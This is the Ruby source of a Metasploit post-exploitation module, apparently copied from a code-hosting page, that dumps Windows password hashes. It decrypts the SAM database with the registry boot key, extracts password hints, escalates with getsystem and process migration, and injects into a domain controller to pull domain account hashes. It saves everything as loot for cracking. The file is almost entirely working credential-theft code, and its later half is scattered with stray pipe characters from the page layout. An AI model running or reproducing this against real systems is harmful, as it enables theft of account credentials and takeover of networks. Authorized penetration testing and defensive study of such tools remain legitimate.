520 lines
16 KiB
Ruby
520 lines
16 KiB
Ruby
##
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# $Id$
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##
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##
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# ## This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'msf/core/post/common'
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require 'msf/core/post/windows/priv'
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require 'msf/core/post/windows/registry'
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require 'msf/core/post/windows/accounts'
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require 'msf/core/post/file'
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class Metasploit3 < Msf::Post
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include Msf::Post::Common
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include Msf::Post::Windows::Priv
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include Msf::Post::Windows::Registry
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include Msf::Post::Windows::Accounts
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include Msf::Auxiliary::Report
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include Msf::Post::File
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather Local and Domain Controller Account Password Hashes',
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'Description' => %q{
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This will dump local accounts from the SAM Database. If the target
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host is a Domain Controller, it will dump the Domain Account Database using the proper
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technique depending on privilege level, OS and role of the host.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],
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'Version' => '$Revision$',
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'Platform' => [ 'windows' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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register_options(
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[
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OptBool.new('GETSYSTEM', [ false, 'Attempt to get SYSTEM privilege on the target host.', false])
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], self.class)
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@smb_port = 445
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# Constants for SAM decryption
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@sam_lmpass = "LMPASSWORD\x00"
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@sam_ntpass = "NTPASSWORD\x00"
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@sam_qwerty = "!@\#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\x00"
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@sam_numeric = "0123456789012345678901234567890123456789\x00"
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@sam_empty_lm = ["aad3b435b51404eeaad3b435b51404ee"].pack("H*")
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@sam_empty_nt = ["31d6cfe0d16ae931b73c59d7e0c089c0"].pack("H*")
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@des_odd_parity = [
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1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
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16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
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32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
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49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
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64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
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81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
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97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
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112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
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128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
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145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
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161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
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176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
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193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
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208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
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224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
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241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
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]
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end
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# Run Method for when run command is issued
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def run
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print_status("Running module against #{sysinfo['Computer']}")
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host = Rex::FileUtils.clean_path(sysinfo["Computer"])
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hash_file = store_loot("windows.hashes", "text/plain", session, "", "#{host}_hashes.txt", "Windows Hashes")
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print_status("Hashes will be saved to the database if one is connected.")
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print_status("Hashes will be saved in loot in JtR password file format to:")
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print_status(hash_file)
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smart_hash_dump(datastore['GETSYSTEM'], hash_file)
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end
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def capture_boot_key
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bootkey = ""
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basekey = "System\\CurrentControlSet\\Control\\Lsa"
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%W{JD Skew1 GBG Data}.each do |k|
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
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return nil if not ok
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bootkey << [ok.query_class.to_i(16)].pack("V")
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ok.close
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end
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keybytes = bootkey.unpack("C*")
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descrambled = ""
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# descrambler = [ 0x08, 0x05, 0x04, 0x02, 0x0b, 0x09, 0x0d, 0x03, 0x00, 0x06, 0x01, 0x0c, 0x0e, 0x0a, 0x0f, 0x07 ]
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descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
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0.upto(keybytes.length-1) do |x|
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descrambled << [ keybytes[ descrambler[x] ] ].pack("C")
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end
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descrambled
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end
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#-------------------------------------------------------------------------------
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def capture_hboot_key(bootkey)
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account", KEY_READ)
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return if not ok
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vf = ok.query_value("F")
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return if not vf
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vf = vf.data
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ok.close
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hash = Digest::MD5.new
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hash.update(vf[0x70, 16] + @sam_qwerty + bootkey + @sam_numeric)
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rc4 = OpenSSL::Cipher::Cipher.new("rc4")
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rc4.key = hash.digest
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hbootkey = rc4.update(vf[0x80, 32])
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hbootkey << rc4.final
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return hbootkey
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end
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#-------------------------------------------------------------------------------
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def capture_user_keys
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users = {}
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users", KEY_READ)
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return if not ok
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ok.enum_key.each do |usr|
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uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\#{usr}", KEY_READ)
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next if usr == 'Names'
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users[usr.to_i(16)] ||={}
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users[usr.to_i(16)][:F] = uk.query_value("F").data
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users[usr.to_i(16)][:V] = uk.query_value("V").data
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#Attempt to get Hints (from Win7/Win8 Location)
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begin
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users[usr.to_i(16)][:UserPasswordHint] = uk.query_value("UserPasswordHint").data
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rescue ::Rex::Post::Meterpreter::RequestError
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users[usr.to_i(16)][:UserPasswordHint] = nil
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end
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uk.close
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end
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ok.close
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ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names", KEY_READ)
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ok.enum_key.each do |usr|
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uk = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SAM\\SAM\\Domains\\Account\\Users\\Names\\#{usr}", KEY_READ)
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r = uk.query_value("")
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rid = r.type
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users[rid] ||= {}
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users[rid][:Name] = usr
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#Attempt to get Hints (from WinXP Location) only if it's not set yet
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if users[rid][:UserPasswordHint].nil?
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begin
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uk_hint = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Hints\\#{usr}", KEY_READ)
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users[rid][:UserPasswordHint] = uk_hint.query_value("").data
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rescue ::Rex::Post::Meterpreter::RequestError
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users[rid][:UserPasswordHint] = nil
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end
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end
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uk.close
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end
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ok.close
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users
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end
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#-------------------------------------------------------------------------------
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def decrypt_user_keys(hbootkey, users)
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users.each_key do |rid|
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user = users[rid]
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hashlm_enc = ""
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hashnt_enc = ""
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hoff = user[:V][0x9c, 4].unpack("V")[0] + 0xcc
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#Check if hashes exist (if 20, then we've got a hash)
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lm_exists = user[:V][0x9c+4,4].unpack("V")[0] == 20 ? true : false
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nt_exists = user[:V][0x9c+16,4].unpack("V")[0] == 20 ? true : false
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#If we have a hashes, then parse them (Note: NT is dependant on LM)
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hashlm_enc = user[:V][hoff + 4, 16] if lm_exists
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hashnt_enc = user[:V][(hoff + (lm_exists ? 24 : 8)), 16] if nt_exists
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user[:hashlm] = decrypt_user_hash(rid, hbootkey, hashlm_enc, @sam_lmpass)
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user[:hashnt] = decrypt_user_hash(rid, hbootkey, hashnt_enc, @sam_ntpass)
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end
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users
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end
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#-------------------------------------------------------------------------------
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def decode_windows_hint(e_string)
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d_string = ""
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e_string.scan(/..../).each do |chunk|
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bytes = chunk.scan(/../)
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d_string += (bytes[1] + bytes[0]).to_s.hex.chr
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end
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d_string
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end
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#-------------------------------------------------------------------------------
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def convert_des_56_to_64(kstr)
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key = []
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str = kstr.unpack("C*")
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key[0] = str[0] >> 1
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key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
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key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
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key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
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key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
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key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
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key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
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key[7] = str[6] & 0x7F
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0.upto(7) do |i|
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key[i] = ( key[i] << 1)
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key[i] = @des_odd_parity[key[i]]
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end
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key.pack("C*")
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end
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#-------------------------------------------------------------------------------
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def rid_to_key(rid)
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s1 = [rid].pack("V")
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s1 << s1[0,3]
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s2b = [rid].pack("V").unpack("C4")
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s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack("C4")
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s2 << s2[0,3]
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[convert_des_56_to_64(s1), convert_des_56_to_64(s2)]
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end
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#-------------------------------------------------------------------------------
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def decrypt_user_hash(rid, hbootkey, enchash, pass)
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if(enchash.empty?)
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case pass
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when @sam_lmpass
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return @sam_empty_lm
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when @sam_ntpass
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return @sam_empty_nt
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end
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return ""
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end
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des_k1, des_k2 = rid_to_key(rid)
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d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
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d1.padding = 0
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d1.key = des_k1
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d2 = OpenSSL::Cipher::Cipher.new('des-ecb')
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d2.padding = 0
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d2.key = des_k2
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md5 = Digest::MD5.new
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md5.update(hbootkey[0,16] + [rid].pack("V") + pass)
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rc4 = OpenSSL::Cipher::Cipher.new('rc4')
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rc4.key = md5.digest
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okey = rc4.update(enchash)
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d1o = d1.decrypt.update(okey[0,8])
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d1o << d1.final
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d2o = d2.decrypt.update(okey[8,8])
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d1o << d2.final
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d1o + d2o
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end
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#-------------------------------------------------------------------------------
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def read_hashdump
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host,port = session.session_host, session.session_port
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collected_hashes = ""
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begin
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print_status("\tObtaining the boot key...")
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bootkey = capture_boot_key
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print_status("\tCalculating the hboot key using SYSKEY #{bootkey.unpack("H*")[0]}...")
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hbootkey = capture_hboot_key(bootkey)
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print_status("\tObtaining the user list and keys...")
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users = capture_user_keys
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print_status("\tDecrypting user keys...")
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users = decrypt_user_keys(hbootkey, users)
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print_status("\tDumping password hints...")
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hint_count = 0
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users.keys.sort{|a,b| a<=>b}.each do |rid|
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#If we have a hint then print it
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if !users[rid][:UserPasswordHint].nil? && users[rid][:UserPasswordHint].length > 0
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print_good("\t#{users[rid][:Name]}:\"#{users[rid][:UserPasswordHint]}\"")
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hint_count += 1
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end
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end
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print_status("\tNo users with password hints on this system") if hint_count == 0
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print_status("\tDumping password hashes...")
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users.keys.sort{|a,b| a<=>b}.each do |rid|
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# next if guest account or support account
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next if rid == 501 or rid == 1001
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collected_hashes << "#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::\n"
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print_good("\t#{users[rid][:Name]}:#{rid}:#{users[rid][:hashlm].unpack("H*")[0]}:#{users[rid][:hashnt].unpack("H*")[0]}:::")
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session.framework.db.report_auth_info(
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:host => host,
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:port => @smb_port,
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:sname => 'smb',
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:user => users[rid][:Name],
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:pass => users[rid][:hashlm].unpack("H*")[0] +":"+ users[rid][:hashnt].unpack("H*")[0],
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:type => "smb_hash"
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)
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end
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rescue ::Interrupt
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raise $!
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rescue ::Rex::Post::Meterpreter::RequestError => e
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print_error("Meterpreter Exception: #{e.class} #{e}")
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print_error("This module requires the use of a SYSTEM user context (hint: migrate into service process)")
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rescue ::Exception => e
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print_error("Error: #{e.class} #{e} #{e.backtrace}")
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end
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return collected_hashes
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end
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#-------------------------------------------------------------------------------
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def inject_hashdump
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collected_hashes = ""
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host,port = session.session_host, session.session_port
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# Load priv extension
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session.core.use("priv")
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# dump hashes
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session.priv.sam_hashes.each do |h|
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returned_hash = h.to_s.split(":")
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if returned_hash[1] == "j"
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returned_hash.delete_at(1)
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end
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rid = returned_hash[1].to_i
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# Skip the Guest Account
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next if rid == 501 or rid == 1001
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# skip if it returns nil for an entry
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next if h == nil
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begin
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user = returned_hash[0].scan(/^[a-zA-Z0-9\-$.]*/).join.gsub(/\.$/,"")
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lmhash = returned_hash[2].scan(/[a-f0-9]*/).join
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next if lmhash == nil
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hash_entry = "#{user}:#{rid}:#{lmhash}:#{returned_hash[3]}"
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collected_hashes << "#{hash_entry}\n"
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print_good("\t#{hash_entry}")
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session.framework.db.report_auth_info(
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:host => host,
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:port => @smb_port,
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:sname => 'smb',
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:user => user,
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:pass => "#{lmhash}:#{returned_hash[3]}",
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:type => "smb_hash"
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)
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rescue
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next
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end
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end
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return collected_hashes
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end
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#-------------------------------------------------------------------------------
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# Function for checking if target is a DC
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def is_dc?
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is_dc_srv = false
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serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
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if registry_enumkeys(serviceskey).include?("NTDS")
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if registry_enumkeys(serviceskey + "\\NTDS").include?("Parameters")
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print_good("\tThis host is a Domain Controller!")
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is_dc_srv = true
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end
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end
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return is_dc_srv
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end
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#-------------------------------------------------------------------------------
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# Function to migrate to a process running as SYSTEM
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def move_to_sys
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# Make sure you got the correct SYSTEM Account Name no matter the OS Language
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local_sys = resolve_sid("S-1-5-18")
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system_account_name = "#{local_sys[:domain]}\\#{local_sys[:name]}"
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# Processes that can Blue Screen a host if migrated in to
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dangerous_processes = ["lsass.exe", "csrss.exe", "smss.exe"]
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print_status("Migrating to process owned by SYSTEM")
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session.sys.process.processes.each do |p|
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# Check we are not migrating to a process that can BSOD the host
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next if dangerous_processes.include?(p["name"])
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next if p["pid"] == session.sys.process.getpid
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if p["user"] == system_account_name
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print_status("Migrating to #{p["name"]}")
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session.core.migrate(p["pid"])
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print_good("Successfully migrated to #{p["name"]}")
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return
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end
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end
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end
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#-------------------------------------------------------------------------------
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def smart_hash_dump(migrate_system, pwdfile)
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domain_controler = is_dc?
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if not is_uac_enabled? or is_admin?
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print_status("Dumping password hashes...")
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# Check if Running as SYSTEM
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if is_system?
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# For DC's the registry read method does not work.
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if domain_controler
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begin
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file_local_write(pwdfile,inject_hashdump)
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rescue::Exception => e
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print_error("Failed to dump hashes as SYSTEM, trying to migrate to another process")
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if sysinfo['OS'] =~ /(Windows 2008)/i
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move_to_sys
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file_local_write(pwdfile,inject_hashdump)
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else
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print_error("Could not get NTDS hashes!")
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end
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end
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|
# Check if not DC
|
|
else
|
|
print_status "Running as SYSTEM extracting hashes from registry"
|
|
file_local_write(pwdfile,read_hashdump)
|
|
end
|
|
|
|
# Check if not running as SYSTEM
|
|
else
|
|
|
|
# Check if Domain Controller
|
|
if domain_controler
|
|
begin
|
|
file_local_write(pwdfile,inject_hashdump)
|
|
rescue
|
|
if migrate_system
|
|
print_status("Trying to get SYSTEM privilege")
|
|
results = session.priv.getsystem
|
|
if results[0]
|
|
print_good("Got SYSTEM privilege")
|
|
if session.sys.config.sysinfo['OS'] =~ /(Windows 2008)/i
|
|
# Migrate process since on Windows 2008 R2 getsystem
|
|
# does not set certain privilege tokens required to
|
|
# inject and dump the hashes.
|
|
move_to_sys
|
|
end
|
|
file_local_write(pwdfile,inject_hashdump)
|
|
else
|
|
print_error("Could not obtain SYSTEM privileges")
|
|
end
|
|
else
|
|
print_error("Could not get NTDS hashes!")
|
|
end
|
|
|
|
end
|
|
elsif sysinfo['OS'] =~ /(Windows 7|2008|Vista)/i
|
|
if migrate_system
|
|
print_status("Trying to get SYSTEM privilege")
|
|
results = session.priv.getsystem
|
|
if results[0]
|
|
print_good("Got SYSTEM privilege")
|
|
file_local_write(pwdfile,read_hashdump)
|
|
else
|
|
print_error("Could not obtain SYSTEM privilege")
|
|
end
|
|
else
|
|
print_error("On this version of Windows you need to be NT AUTHORITY\\SYSTEM to dump the hashes")
|
|
print_error("Try setting GETSYSTEM to true.")
|
|
end
|
|
|
|
else
|
|
if migrate_system
|
|
print_status("Trying to get SYSTEM privilege")
|
|
results = session.priv.getsystem
|
|
if results[0]
|
|
print_good("Got SYSTEM privilege")
|
|
file_local_write(pwdfile,read_hashdump)
|
|
else
|
|
print_error("Could not obtain SYSTEM privileges")
|
|
end
|
|
else
|
|
file_local_write(pwdfile,inject_hashdump)
|
|
end
|
|
|
|
end
|
|
|
|
end
|
|
else
|
|
print_error("Insufficient privileges to dump hashes!")
|
|
end
|
|
end
|
|
end
|